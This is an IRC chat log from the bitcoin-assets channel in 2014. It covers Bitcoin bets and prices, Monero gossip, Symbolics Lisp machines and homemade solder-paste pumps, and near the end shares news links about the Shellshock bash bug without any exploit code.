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mircea_popescu: "Fluffypony, mircea popescu's asslicking troll buddy, watch out for these disinformation merchants also"
mircea_popescu: dude wut
fluffypony: wait wut
fluffypony: where's that from
mircea_popescu: our sustained pr campaign for a second
mircea_popescu: don't pretend like you don't know.
mircea_popescu: https://bitcointalk.org/index.php?topic=793787.msg8941047#msg8941047
assbot: The Truth About Monero's Risto Pietila (rpietila XMR)
fluffypony: oh shit I didn't even see that
fluffypony: I had no idea you were all-in on Monero
fluffypony: :-P
mircea_popescu: i have no idea what monero even is.
mircea_popescu: so technically spewaking i'm all out.
mircea_popescu: !s monero
assbot: 56 results for 'monero' : http://search.bitcoin-assets.com/?q=monero
kakobrekla: busted
kakobrekla: you dont read logs.
mats_cd03: 20:08:34 <+fluffypony> I had no idea you were all-in on Monero
mircea_popescu: http://log.bitcoin-assets.com/?date=09-09-2014#823434 < that. ☝︎
assbot: Logged on 09-09-2014 14:10:58; mircea_popescu: hey fluffypony do you plan to eventually sell the monero idea here once it reaches some sort of maturity or do you just plan to wait indefinitely for b-a to figure it out ?
mats_cd03: 20:08:59 <+mircea_popescu> i have no idea what monero even is.
mats_cd03: i loled.
assbot: Last 7 lines bashed and pending review. ( http://dpaste.com/0VSZ94B.txt )
fluffypony: !bash 7
mod6: RagnarDanneskjol: yeah, I noticed that. I'll work on it.
mircea_popescu: ;;isdown trilema.com
gribble: Error: "isdown" is not a valid command.
mircea_popescu: ;;isitdown trilema.com
gribble: trilema.com is up
mircea_popescu: hm
mircea_popescu: moar dosing!
kakobrekla: a yea i recall https://bitcointalk.org/index.php?topic=789978.msg8938632#msg8938632
assbot: The Monero Free For All Thread
fluffypony: this entire "attack" has been such a fail
fluffypony: BCX sucks
fluffypony: I was hopign for fireworks
fluffypony: I was TOLD there would be fireworks
fluffypony: and literally all we did was roll a couple of extra checkpoints just in case, and asked exchanges to suspend deposits / withdrawals on the presumption of fireworks
fluffypony: waste of a good shit-show if you ask me
fluffypony: also can I get hanbot for our "sustained paid PR campaign" ?
fluffypony: :-P
xmj: g'morning
xmj: fluffypony: how are your monero port efforts doing?
fluffypony: xmj: good, FreeBSD compataibility is being mainained
xmj: fluffypony: cool :)
mircea_popescu: i thought she was banned.
mircea_popescu: anyway, what is bcx
xmj: ever found a minion to create+submit a port for it that we could commit?
fluffypony: xmj: not yet, it's on the list
xmj: :)
fluffypony: mircea_popescu: BitcoinExpress
mircea_popescu: BitCoin-Express Basic. Unlimited Data Space Unlimited Monthly Traffic 1 Domain Hosted Free VPN Access (5 GB) Browsable Daily Backups
mircea_popescu: mkay...
fluffypony: here
fluffypony: an overview
fluffypony: https://bitcointalk.org/index.php?topic=790462.0
assbot: BitcoinEXpress - self made legend?
mircea_popescu: dude all these ephemereal legends nobody heard of, nobody'll hear of.
fluffypony: where is the "fluffypony - a legend's legend?" forum post
fluffypony: I am disappoint
mircea_popescu: " his crypto skills ". where puas move on
mircea_popescu: basically tardstalk is by now goons trolling goons.
fluffypony: yeah bitcointalk has gone way past eternal September
fluffypony: and entered full on scamforums mode
fluffypony: ok I'm out, cheers
mod6: %p
atcbot: >> No data returned from CoinMiner.net << [PityThePool Hashrate]: 0.00 GH/s [iSpace Pool Hashrate]: 0 TH/s [P2P Hashrate]: 1.39 TH/s
mod6: %p2p
atcbot: [P2P Hashrate]: 1.39 TH/s
mod6: %ispace
atcbot: [iSpace Pool Hashrate]: 0 TH/s
mod6: RagnarDanneskjol: ok, all set.
RagnarDanneskjol: cool
mod6: If another month goes by without any coinminer data, i'll just pull it.
RagnarDanneskjol: k
mircea_popescu: sounds legit.
mod6: Just sick of seeing it without data. heheh.
mod6: oh, and RagnarDanneskjol, if you see that P2P pool changes its name to something else, let me know. thanks!
RagnarDanneskjol: will do
BingoBoingo: Time to go short on corn prices http://www.bnd.com/2014/09/24/3418932/local-corn-growers-expect-best.html
assbot: Metro-east news from Belleville, IL | Belleville News-Democrat
decimation: asciilifeform: I watched the Kalman Reti smbx video, got a flavor of the unqiueness of symbolics hardware
BingoBoingo: That was a good one
decimation: what intrigued me was the mention of the vlsi design software that was written in lisp
BingoBoingo: Oh there's a media outlet worse than Vox.com >> http://deadspin.com/espn-suspends-bill-simmons-three-weeks-over-goodell-cri-1638842937/+aleksanderchan
assbot: ESPN Suspends Bill Simmons Three Weeks Over Goodell Criticism
mircea_popescu: wait
mircea_popescu: they're suspending these people now for what they SAY ?!
mircea_popescu: don't even have to do anywthing ?
mircea_popescu: a nm thought it
mircea_popescu: s some athlete
mircea_popescu: kakobrekla http://bitbet.us/bet/1048/alibaba-shares-above-115-before-november-25th/#b8 https://blockchain.info/address/1BR82MnZ2XdYM1R7Csdg9oaaoz3qEbW3S2 http://bitbet.us/bet/1047/billion-dollar-bet/#b11 etc
assbot: BitBet - Alibaba shares above 115 before November 25th :: 0.08 B (47%) on Yes, 0.09 B (53%) on No | closing in 1 month 3 weeks | weight: 92`819 (100`000 to 1)
assbot: Bitcoin Address 1BR82MnZ2XdYM1R7Csdg9oaaoz3qEbW3S2
assbot: BitBet - Billion dollar bet? :: 1.01 B (15%) on Yes, 5.72 B (85%) on No | closing in 5 months 1 week| weight: 96`757 (100`000 to 1)
mircea_popescu: lol
nubbins`: http://universityofcalifornia.edu/news/do-gut-bacteria-rule-our-minds
assbot: Do gut bacteria rule our minds? | University of California
peterl: is it more likely that 2 million bitcoins will be bet on that bet or that the price of bitcoin will rise 1000x?
thestringpuller: damn that would be a phenomenon of sorts
thestringpuller: if the billion dollar bet resolves yes
thestringpuller: the b-h will 99% likely resolve yes too
BingoBoingo: mircea_popescu: Not an athlete, a reporter. Suspended for... Gasp... Reporting!!!
assbot: [HAVELOCK] [HASH] 1000 @ 0.00149131 = 1.4913 BTC [+] {6}
cazalla: lol paypal increasing charge back period from 45 days to 180
cazalla: so now cheeky cunts can mine for 180 days and send it back for refund
ben_vulpes: <decimation> what intrigued me was the mention of the vlsi design software that was written in lisp << me too. has the source been lost?
decimation: that was my question. the follow-up question being: does the vlsi design exist (presumably in vhdl)?
mircea_popescu: peterl good q.
mircea_popescu: day of the good q's
peterl: I suppose the billion dollar bet could hit yes if btc/usd price and amount bet each go up ~30x
assbot: [MPEX] [S.MPOE] 21900 @ 0.00075321 = 16.4953 BTC [+]
mircea_popescu: a bet that was at 3k 6months out could conceivably end up in the 5-6 figures.
mircea_popescu: esp if there's an upset
decimation: really the bet is brillant pr. media idiots love far-off artificial deadlines with artificial drama
mircea_popescu: not much love shown so far.
BingoBoingo: The berkshire bet coul break 10k btc easily if BTC hits $700 in three months
decimation: if the scenario that peterl proposes comes remotely true, I suspect it will get love
mircea_popescu: now this im sure
mircea_popescu: that's the thing, by now the action there is fabulous
BingoBoingo: Fuck, there's still time for http://bitbet.us/bet/635/1btc-10-000-usd/ to get interesting which could really drive up the Berkshire pot
assbot: BitBet - 1BTC >= $10,000 USD :: 75 B (9%) on Yes, 755.29 B (91%) on No | closing in 1 month 3 weeks | weight: 15`525 (100`000 to 1)
mircea_popescu: if that yeses out... o boy.
mircea_popescu: someone stands to make a cool mn or somethign.
BingoBoingo: How quick did shit spike up last fall
mircea_popescu: two weeks!
BingoBoingo: Right. While $600 to $400 this years was what... one, two months? It Bitcoin the falls are long and labored, but the rallies...
mircea_popescu: this is perhaps the only point of technical analysis with any merit.
TheNewDeal: Drops happen fast as well?
TheNewDeal: Same with rebounds
peterl: so to get yes on brk-a bet, at this point btc would have to get over 666 usd, that doesn't seem that high yet bitbet is favoring no
mircea_popescu: peterl there's a latency. heavy no bets came in this week, perhaps not balanced oyut yet
TheNewDeal: like december 18th 2013
mircea_popescu: TheNewDeal hm.
BingoBoingo: <TheNewDeal> Drops happen fast as well? << Only really drops fast after decisive peaks
mircea_popescu: this is why it's ta :D
TheNewDeal: Feb 9th 2014 wasn't after a peak
BingoBoingo: TheNewDeal: Maybe we measure time differently...
peterl: my tea leaves are saying RALLY!!!
TheNewDeal: Definitely. I'm a new comer
TheNewDeal: And bitcoin years are like the hypothetical dog years
BingoBoingo: I mean last fall was the anomalie in that it has a rally whereas 2011 and 2012... stagnation...
TheNewDeal: Wasn't 2011 a large increase year?
BingoBoingo: It was for a while...
TheNewDeal: when did the btc / usd ratio go > 1 ?
BingoBoingo: And interesting question, right before it dropped to 0.7
decimation: as I recall it was the summer of 2011
TheNewDeal: Wasn't sure if it went 10 / 1 in the same year, or if that was the next.
TheNewDeal: ;;timesincebitcoinwas10usd
gribble: Error: "timesincebitcoinwas10usd" is not a valid command.
xmj: TheNewDeal: 3 years
BingoBoingo: http://www.forbes.com/sites/timothylee/2013/04/11/an-illustrated-history-of-bitcoin-crashes/
assbot: An Illustrated History Of Bitcoin Crashes - Forbes
TheNewDeal: So it did cross 1:1 and 10:1 in 2011. I'd say that's an up year
BingoBoingo: Well, really it was probably the first year
TheNewDeal: Is that the year mt gox switched over from Magic the Gathering cards ;)
BingoBoingo: Good question
TheNewDeal: Just rapid-fired like 20 questions. Feel free to ignore them
BingoBoingo: Not ignoring so much as distracted, and the Google is a thing
asciilifeform: decimation: vlsi design software << yes, it was. and they actually... used it.
asciilifeform: decimation: i asked dan schmidt whether he'd sell it - he answered that he won't, it's in some kind of eternal legal limbo (sub-licensed somewhere, or the like.)
decimation: asciilifeform: reminds me of chuck moore writing his own vlsi design in forth
asciilifeform: mats_cd03: practical-file-system-design << old favourite of mine.
decimation: it would be interesting if some rich prince 'rescued' the symbolics assets just for shits
TheNewDeal: ;;later tell ThickAsThieves any response on that foia yet?
gribble: The operation succeeded.
asciilifeform: decimation: does the vlsi design exist (presumably in vhdl) << afaik it was lisp from day 1 (mit cadr was hand-drawn, after that - 'ourobourus'-like tail-eating iterative design...)
decimation: like, it produced a netlist?
asciilifeform: decimation: netlist << nope. the actual masks, ready for tapeout.
asciilifeform: (naturally, netlist first, etc)
decimation: that is impressive.
decimation: I remember when beos was a thing, raging fast, low latency. too bad it petered out
asciilifeform: very few of these things feel 'impressive' after you learn just how intrinsically simple all of our tech stack is
asciilifeform: when you strip away the crapolade.
decimation: I guess I'm thinking "must recreate xilinux crapware, mentor graphics crapware, & various glue code"
decimation: but much of that stuff is redundant
asciilifeform: all of it.
asciilifeform: the only thing intrinsically necessary is a compact way to tell the photomask printer what to do...
decimation: unfortunately, unless one is going mask one's own chips, we are stuck with fgpa's and rtl
asciilifeform just emerged from ~4 hrs of lathe work, does in fact appreciate the difficulty of apparently simple things. but the extant computing stack - is still a pile of shit.
TheNewDeal: what where you lathing?
asciilifeform: TheNewDeal: approximately the gadget pictured here: http://www.dispensetips.com/pages/piston.html
assbot: Piston Pump, positive displacement pump
asciilifeform: (only the pieces with the red flow diagram depicted)
decimation: heh, you gonna make a pump for solder paste?
asciilifeform: more or less obvious from the link, no ?
decimation: yep. what about the little micro-screw-needle
asciilifeform: the business end?
decimation: yeah
asciilifeform: that's the single solitary part that's actually readily available off the shelf, a dime a dozen.
decimation: no the auger valve you wrote about a few months ago
asciilifeform: at chinese factories, they go through astounding quantities of such needles when dispensing glue - hence cheap.
asciilifeform: nope.
decimation: http://log.bitcoin-assets.com/?date=23-07-2014#765038 ☝︎
assbot: Logged on 23-07-2014 03:10:06; asciilifeform: state of the art, it turns out, is 'auger valve' - think: small archimedes screw.
asciilifeform: auger valve is in some ways a nicer design
asciilifeform: but quite difficult to achieve given the tolerances of a cheap desktop non-cnc lathe.
decimation: yeah makes sense
decimation: so you are going to build a 'better' glue squirter
asciilifeform: and yes all of this could theoretically be bought.
asciilifeform: but - golden toilet.
decimation: yeah I understand.
asciilifeform: 'better' in the sense that 1) it easily beats the controlled-air-puff dispenser i was using previously, which is almost unusably inaccurate and,
asciilifeform: 2) can be had. really nice things exist, are used in 'adult' factories - but cannot be had.
decimation: So if you can control the fine pump pressure dynamically you might be able to prevent the 'drool' problem
asciilifeform: 'positive displacement' here means, easily, that no more turd can emerge from the needle than is actually inside the needle
asciilifeform: as a theoretical maximum
asciilifeform: ('rabbit can be pulled out of hat only to the extent said rabbit is actually in the hat.'
asciilifeform: )
asciilifeform: no need to control pressure to any great extent, that's the whole fscking point of pos. disp. pumps.
asciilifeform: just need enough air pressure in syringe to keep the paste flowing into the work chamber on the piston's up-stroke.
asciilifeform: (but not so much that it is able to overcome the needle.)
decimation: yeah I guess there is no air in the chamber, so it's all incompressible
asciilifeform: correct.
asciilifeform: (there are circumstances where air can mix with the paste, but i will not describe them here - we've already put everyone to sleep.)
BingoBoingo is far from asleep
decimation: looks to me that a likely leakage path would be the upstroke phase - air could leak around the piston
TheNewDeal: may have just fixed my dial indicator. Feel like I working in a chinese sweatshop for the last half hour
asciilifeform: TheNewDeal: what was the occasion for dial indicator ?
nubbins`: odd coincidence, my dial test indicator showed up today
TheNewDeal: use them for a few things at work. One is to make sure that gears are meshed well enough
asciilifeform: nubbins`: odd coincidence, i ordered one today
asciilifeform: (previously had only 'dial indicator')
nubbins`: read that earlier, i have no dial test indicator ;(
asciilifeform: it'll be - an ancient 'mitutoyo'
asciilifeform: i keep waiting for someone here to suggest 'use peristaltic pump'
asciilifeform: (then i'd have to explain how this doesn't work, sadly, and for nonobvious reason)
decimation: is it because it would smash the solder balls?
asciilifeform: TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in...
asciilifeform: it would smash the solder balls << nope. the standard methods (auger and piston) actually do. and this limits the life of the apparatus (smashed balls end up adhering to the inside bores.)
TheNewDeal: hahaha I hardly constructed one. Just borrowed a tiny screwdriver from the tools that ship with the machine
asciilifeform: problem with peristaltic is that it operates in bursts (one 'squeeze') which always end up too long.
BingoBoingo: <asciilifeform> (then i'd have to explain how this doesn't work, sadly, and for nonobvious reason) << it could work if instead you went for living fabrication machines as the Flinstones did.
decimation: couldn't you construct a really tiny paristaltic pump?
asciilifeform: decimation: you can, but you get odd behaviour - considering that you aren't pumping a fluid in the usual sense
asciilifeform: but a suspension of metal balls.
decimation: yeah I suspect as the ID of the tube approaches the size of the balls weird stuff would happen
asciilifeform: peristaltic pump also stretches the tube if the business end is clogged (as it inevitably becomes)
asciilifeform: weird stuff happens in all of the listed designs. it's a problem to which there isn't really a fully satisfactory solution.
asciilifeform: (solder paste in 'adult' industry is simply never pumped. they use stencils, afaik.)
BingoBoingo: <asciilifeform> peristaltic pump also stretches the tube if the business end is clogged (as it inevitably becomes) << In the prototypical models Magnesium citrate tends to clear this well.
decimation: yeah I was reading about how they ditched laser cut designs for photoetching
decimation: for stencils that is
decimation: https://www.youtube.com/watch?v=pHNpayYhBvM << watch the annoying australian run his design on an 'adult' assembly line, with solder paste, pick n' place and oven
assbot: EEVblog #264 - SMD PCB Pick & Place Machine Assembly - YouTube
decimation: it's amusing that the solder paste machine is pretty much just a giant squeegee, but all dressed up
decimation: the other thing that interested me about the symbolics video was the fact that the machine had a global namespace
assbot: [HAVELOCK] [HASH] 1000 @ 0.00160809 = 1.6081 BTC [+] {5}
ben_vulpes: <asciilifeform> TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in... << and how is this different from the making of a computer useful for software development?
ben_vulpes: homegrown low-budget machine shop: tools will refuse to stay in true for any significant period of time.
ben_vulpes: homegrown software hacking thinger: tools make imaginative, creative engineers regret career choices.
ben_vulpes: hardware: risk hands
ben_vulpes: software: risk sanity
ben_vulpes: le travail, c'est le travail
assbot: [HAVELOCK] [PETA] 970 @ 0.000603 = 0.5849 BTC [+]
mircea_popescu: ;;ticker
gribble: Bitstamp BTCUSD ticker | Best bid: 419.51, Best ask: 420.73, Bid-ask spread: 1.22000, Last trade: 419.5, 24 hour volume: 14440.77357130, 24 hour low: 414.05, 24 hour high: 437.16, 24 hour vwap: 426.125415763
mircea_popescu: scam tealeaves
asciilifeform: ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols.
decimation: it is difficult to imagine a symbolics user in the late '80s with his persistent global namespace watch someone using DOS
mircea_popescu: one of the biggest promises of hard ai is the computer that slaps the human upside the head
mircea_popescu: for "coding innovations"
mircea_popescu: ben_vulpes: le travail, c'est le travail << i like how philosophical marriage makes one. socrates had a point.
asciilifeform: obligatory: http://www.niquette.com/paul/issue/softwr02.htm
assbot: Software Does Not Fail
mircea_popescu: "Marketing is hard. We wrote an ebook." fucking shot these idiots already
BingoBoingo: Marketing is easy, make someone angry.
mircea_popescu: lol
penguirker: New blog post: http://www.thedrinkingrecord.com/2014/09/24/a-year-of-posts/
mircea_popescu: wow no way, you lasted a year ?!
decimation: asciilifeform: when Kalman Reti mentioned that the CADR had 'loadable microcode', is he implying that the early stuff (not ivory) had an underlying 'risc' like core?
mircea_popescu: if the archives bother you you can just make a dropdown
asciilifeform: decimation: brad parker has a cadr emulator (and a 'verilog' version of the 74xxx circuits!) on his site, read yourself.
asciilifeform: there can never be a substitute for actually seeing the original.
BingoBoingo: mircea_popescu: Yeah it's been a year. I also tried the dropdown thing, but... I rather like the comprehensive page of its own thing.
asciilifeform: congrats BingoBoingo
decimation found, is reading
decimation: I assume it's the unlambda stuff?
asciilifeform: decimation: yes
mircea_popescu: BingoBoingo the only third option i ever saw that made sense was on pg's site. J F M A M J J A S O N D line under line under line
asciilifeform: http://www.unlambda.com/cadr
assbot: Retrocomputing - MIT CADR Lisp Machines
mircea_popescu: it's pretty awesome to look at, but hey.
mircea_popescu: still takes space and loads the page with a lot of html
BingoBoingo: Also most clicked through link today, since... the hashlet.virtual-girfriend people can though has been the woodchipper fanfic https://www.fanfiction.net/s/8201149/1/Harry-Potter-and-the-Wonderful-Wood-Chipper
assbot: Harry Potter and the Wonderful Wood Chipper, a harry potter fanfic | FanFiction
BingoBoingo: I might play with the archives again if their quarentine page gets too big...
mircea_popescu: i need an intern.
mircea_popescu: if anyone wants to intern, get in touch.
asciilifeform: intern at what ?
mircea_popescu: at derping online.
asciilifeform: what will the intern learn?
asciilifeform: how to transition from grade 4 to grade 5 derpatronic engineer ?
BingoBoingo: Any particular venues for derping?
mircea_popescu: notrly. interns generally learn how to stop drifting aimlessly around
mircea_popescu: and where the gates to careers are, how they look and how the ywork
asciilifeform: generally learn how to stop drifting aimlessly around << this is particularly funny to me, as i 'knew exactly what to do' before interned as a kid, and then began to doubt...
decimation: "I swear on my magic that I will not put Hermione Granger into the Asplundh in the courtyard," Harry said solemnly, << lolwtf
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BingoBoingo: !b 1 ✂︎
mircea_popescu: asciilifeform exactly. it's how it'd look :)
asciilifeform: http://www.strangefarmer.com/images/content/191114.jpg
decimation: lol really the 'chipper' in that case should be labeled 'justice 'system''
nubbins`: http://i.imgur.com/afcSgpjl.jpg
assbot: [MPEX] [S.MPOE] 12400 @ 0.00075278 = 9.3345 BTC [-]
BingoBoingo: ;;ticker --market all
gribble: Bitstamp BTCUSD last: 416.63, vol: 14415.25810677 | BTC-E BTCUSD last: 406.483, vol: 6393.85311 | Bitfinex BTCUSD last: 415.94, vol: 14382.35804622 | BTCChina BTCUSD last: 415.03549, vol: 36706.85810000 | Kraken BTCUSD last: 433.15178, vol: 2.14 | Bitcoin-Central BTCUSD last: 421.245, vol: 87.10099999 | Volume-weighted last average: 414.783925988
assbot: [HAVELOCK] [AM1] 108 @ 0.14010034 = 15.1308 BTC [-] {4}
ben_vulpes: what is this point of socrates' re marriage?
mircea_popescu: some guy asks socrates if he should marry. socrates says he should. if it works out he'll be happily married, if it doesn't he'll become a better philosopher.
mircea_popescu: !up Takeshi
mircea_popescu: !up Lycerion
ben_vulpes: <asciilifeform> ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. << ask the maintainers of legacy software how they feel
ben_vulpes: it's not that software doesn't smack the operator, but that the operator smacked is rarely the one who wrote it in the first place.
ben_vulpes: hysteresis
mircea_popescu: now this is a point. decoupled risk and reward => moral hazard
ben_vulpes: reeeeeeally bad feedback loops.
ben_vulpes: anyways, nite.
ben_vulpes: yeah. software hazard.
ben_vulpes: there's something in here about buying others risk
ben_vulpes: but again, it's late.
mircea_popescu: ;;bc,stats
gribble: Current Blocks: 322456 | Current Difficulty: 2.9829733124040417E10 | Next Difficulty At Block: 322559 | Next Difficulty In: 103 blocks | Next Difficulty In About: 14 hours, 42 minutes, and 51 seconds | Next Difficulty Estimate: 34669514327.2 | Estimated Percent Change: 16.22469
Vexual: did cazalla find any feedback loops regarding dcc?
assbot: [MPEX] [S.MPOE] 2401 @ 0.00075256 = 1.8069 BTC [-] {2}
assbot: [HAVELOCK] [RENT] 120 @ 0.0075 = 0.9 BTC [+]
Vexual: did asciilifeform solve paste dilemma?
Vexual: did mircea buy an island?
Vexual: did vulpes mom really turn off his computer?
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BingoBoingo: !b 3 ✂︎
assbot: [MPEX] [S.MPOE] 25522 @ 0.00075426 = 19.2502 BTC [+]
assbot: [HAVELOCK] [AM1] 5 @ 0.14355596 = 0.7178 BTC [+] {3}
mircea_popescu: every man is an island
Vexual: immma ut that in my little popescue journal here
davout: ohai
Vexual: salutations
fluffypony: davout's alive!
xmj: youre alive again too
xmj: fluffypony: for lulz, did you see the couple getting married "on the blockchain" ?
fluffypony: yes
xmj: libertarian friends of mine :3
xmj: somehow the BTC community is very tightly knit, it seems.
mircea_popescu: logic.
mircea_popescu: davout didja survive the honey ?
davout: what do i look like, bacteria?
mircea_popescu: lol
mircea_popescu: a month of honey is no joke.
davout: we both survived
fluffypony: and you haven't killed each other?
davout: i do have a movie of fanny being attacked by clownfish tho
fluffypony: lol
mircea_popescu: i forget which are the clownfish
mircea_popescu: are they the bisexual ones ?
mircea_popescu: davout oh also, did you put your trip in the blockchain ? so the btc community can be really tight kniggit it seems ?
davout: they're protoandrous i think
davout: they change sex at some point
mircea_popescu: well on that note, ima go change dreams. laters
xmj: fluffypony: i'm bored too often. do you know anyone looking for a sysadmin? :)
fluffypony: not off the top of my head
xmj: I accept BTC payments, too! look i'm modern
xmj: fluffypony: ah well, worth trying ;)
Vexual: is it fortune or adventur that you seek xmj?
Vexual: tats a chicken and egg right thar
assbot: [HAVELOCK] [PETA] 1757 @ 0.00060995 = 1.0717 BTC [+]
Vexual: asia i s still underrepresented in assets
Vexual: wheres the indo guys? and bejing?
Vexual: https://www.youtube.com/watch?v=d_EADBnXjXc
Vexual: !up davout_ ttwice
Vexual: https://www.youtube.com/watch?v=L3xpmfJp0Xc original
Vexual: you made me ink
Vexual: hi davout
davout: hey
davout: again :-)
Vexual: this is salutations
Vexual: since your not australian or a drunk
Vexual: we can't punch each other about the face and become lifelong friends
Vexual: how about it?
Vexual: https://www.youtube.com/watch?v=Edwsf-8F3sI
Vexual: you're more than welcome to reserve judgement for a decade
Vexual: or seven
Vexual: regex?
Vexual: :)
Vexual: https://www.youtube.com/watch?v=1vmtvNYIalo
Vexual: https://www.youtube.com/watch?v=BrBpewHG-wI
assbot: [MPEX] [S.MPOE] 12800 @ 0.00075408 = 9.6522 BTC [-]
Vexual: https://www.youtube.com/watch?v=_NRvZTIVf4g
assbot: [MPEX] [S.MPOE] 1800 @ 0.00075408 = 1.3573 BTC [-]
Vexual: https://www.youtube.com/watch?v=QMvE0yFnR0I
BingoBoingo: http://www.theonion.com/articles/18yearold-fighting-in-afghanistan-has-911-explaine,29518/
assbot: 18-Year-Old Fighting In Afghanistan Has 9/11 Explained To Him By Older Soldier | The Onion - America's Finest News Source
Vexual: http://www.youtube.com/watch?v=wfS5tgNC6qw you wouldn't fight a tiger
assbot: [MPEX] [S.MPOE] 14350 @ 0.00075408 = 10.821 BTC [-]
assbot: [MPEX] [S.MPOE] 749 @ 0.00075408 = 0.5648 BTC [-]
Vexual: https://www.youtube.com/watch?v=cnNyxy7XPfs
Vexual: llseen vancleef
Vexual: 23-09-2014 12:10:33  <jurov>   (some call it axe soup)
Vexual: https://www.youtube.com/watch?v=nxtIRArhVD4 2 ladies=bouble the hits
chetty: http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
assbot: Troy Hunt: Everything you need to know about the Shellshock Bash bug
assbot: [MPEX] [S.MPOE] 10504 @ 0.00075302 = 7.9097 BTC [-] {4}
thestringpuller: $depth s.mpoe
empyex: thestringpuller: [S.MPOE] Bids: 8200 @ 0.00075017 7555 @ 0.00075014 14500 @ 0.00074959 4200 @ 0.00074933
empyex: thestringpuller: [S.MPOE] Asks: 18800 @ 0.00075346 15333 @ 0.00075472 14700 @ 0.00075473 9461 @ 0.00075553
jurov: https://bitpieces.com/ "Creators are *required* to pay rewards to their funders, starting out small, and growing as they grow their brand."
assbot: Bitpieces
jurov: emphasis theirs. dis gon b gud.
ThickAsThieves: ;;later tell TheNewDeal <TheNewDeal> any response on that foia yet? /// since youve been singling me out, I wanna clear up that, while I did email them an inquiry long ago, I did not personally submit a FOIA request. I simply know of a couple netizens that did. You can expect news to spread fast once(if) it happens. ☟︎
gribble: The operation succeeded.
thestringpuller: everyone uses the same website format these days
ThickAsThieves: wouldnt the net be a better place if all used same standard?
ThickAsThieves is mostly trolling
assbot: [MPEX] [S.MPOE] 9800 @ 0.00075346 = 7.3839 BTC [+]
kakobrekla: o look, 1.271
ThickAsThieves: ?
mats_cd03: i have finally discovered a cheese that i find palatable: pepper jack.
ThickAsThieves: you can do better
mats_cd03: this is a special day.
ThickAsThieves: you dont like extra sharps?
mats_cd03: theres something about most cheese that makes me retch
kakobrekla: ThickAsThieves http://shrani.si/f/q/vR/2PsqLksx/eurusd-h1-.png
mats_cd03: i usually have to pair it with meat to even be consumable
mats_cd03: usually beef.
mats_cd03: also spicy food.
ThickAsThieves: oh the EUR is reverting to older versions
ThickAsThieves: soon back to beta
mats_cd03: 23:16:36 <+asciilifeform> mats_cd03: practical-file-system-design << old favourite of mine.<< i am also busy consuming 'principles of program analysis' by nielson and friend.
kakobrekla: old version?
kakobrekla: oh
kakobrekla: fuck im slow.
kakobrekla: barely over retard.
mats_cd03: there is something special about morning coffee time after a long hiatus with tea as a substitute
mats_cd03: i... feel so alive.
mats_cd03: !s facebook notes
assbot: 8 results for 'facebook notes' : http://search.bitcoin-assets.com/?q=facebook+notes
ThickAsThieves: kako i made a bad joke, not ur fault
jurov: http://www.queerty.com/science-confirms-the-bigger-the-belly-the-better-the-lover-20140923
assbot: Science Confirms The Bigger The Belly, The Better The Lover / Queerty
jurov: ha!
ThickAsThieves: such lol "So let’s say a guy has sex 100 times annually. If he has a belly, he’s going to spend approximately eight hours — an entire work day — more per year penetrating his lover than if he has a six-pack. That’s a substantial amount of time."
ThickAsThieves: "More belly fat, scientists say, means a man has more estradiol, a female sex hormone that helps to inhibit orgasm."
cazalla: i think i read somewhere before fatties last longer because lower test means they're more inclined to think about the womans pleasure
jurov: !mpif
assbot: BtcAlpha.com F.MPIF Tracker estimated NAV per share: 0.00021650 B (Total: 473.44 B). Delta: -1.08 B. Last trade for F.MPIF on MPEX was at 0.00020614 BTC [-]
mats_cd03: the original study is about premature ejaculation, but the abstract doesnt describe the definition.
mats_cd03: at least, not without a ... $4 rental service.
mats_cd03 curses nature
assbot: [HAVELOCK] [PETA] 1300 @ 0.00058241 = 0.7571 BTC [-] {5}
kakobrekla: https://www.youtube.com/watch?v=sA5IFJqjXiQ
assbot: GIRLS und PANZER () (Katyusha) [10 hours version] HD - YouTube
ThickAsThieves: so i paid to have Lowes install a garage door on a rental property, 2mos later it finally happens (skipping some headache details) and they dont actually fully install it and they show me a forged report with my signature
ThickAsThieves: like i couldnt recognize my own sig...
mats_cd03: i don't want to paint a broad brush here,
mats_cd03: but every contractor in the world is a miserable, lying thief.
chetty: haha nah thats not a broad brush ....
ThickAsThieves: also Lowes subcontracts tyhe work of course, and then this sub subbed it out again
mats_cd03: :)
kakobrekla: lucky it didnt blow your house up... cause you know, these things happen.
ThickAsThieves: the Contest Charges button is broken on my credit card too
ThickAsThieves: fukn kindergarten
mats_cd03: whats the relation between kindergarten and contest charges?
chetty: the workings of current business are running at kindergarten levels?
ThickAsThieves: i'm dealing with children
ThickAsThieves: and now they will be punished
ThickAsThieves: http://pandodaily.files.wordpress.com/2014/09/paypal-e28093-we-the-people-ad.png?w=940&h=1729
chetty: omg, paypal is safe??? hahahahaha
ThickAsThieves: well they arent leaking titties at least!
mats_cd03: man needs a proper hair style.
ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience
chetty: true, but paypal does stuff like freeze accounts, just because
ThickAsThieves: sure, i'm not here to defend paypal, but i can appreciate the ad
ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc
ThickAsThieves: ApplePay is the droid youre looking for
chetty: must it get any worse before it starts getting better?
ThickAsThieves: it must
ThickAsThieves: since when are people good at being proactive?
mats_cd03: is it a net loss -- scammers accumulating wealth, and the stupid losing theirs?
kakobrekla: mps theory is scammers are unable to accumulate wealth
ThickAsThieves: my theory is everything is a varying degree of scam
rithm: i like it
rithm: ThickAsThieves if you could finish that sentence with "don't try" it would be complete
rithm: maybe... don't try kids
ThickAsThieves: hmm? you lost me
rithm: i could use just a little bit more hopelessness?
ThickAsThieves: it's in season, ur lucky!
ThickAsThieves: http://www.firstcoastnews.com/story/news/weird/2014/09/24/man-has-hundred-orgasms-day/16185505/
assbot: Man has 100 orgasms a day after back injury
rithm: that video is priceless
assbot: [MPEX] [S.MPOE] 5600 @ 0.00075017 = 4.201 BTC [-]
rithm: https://gist.github.com/anonymous/929d622f3b36b00c0be1
assbot: Ok, shits real. Its in the wild... src:162.253.66.76
rithm: that's shellshock in the wild apparently
rithm: https://news.ycombinator.com/item?id=8366088
assbot: ShellShock exploited in the wild: kernel exploit with CnC component | Hacker News
rithm: those who operate public facing embedded type webservers that might call on shell scripts and the like
kakobrekla: http://nsasimulator.com < i heard there some panic re this here as 3 bedrooms from ljubljana were discovered on that thing
assbot: NSA Simulator - Watch Live Security Cams!
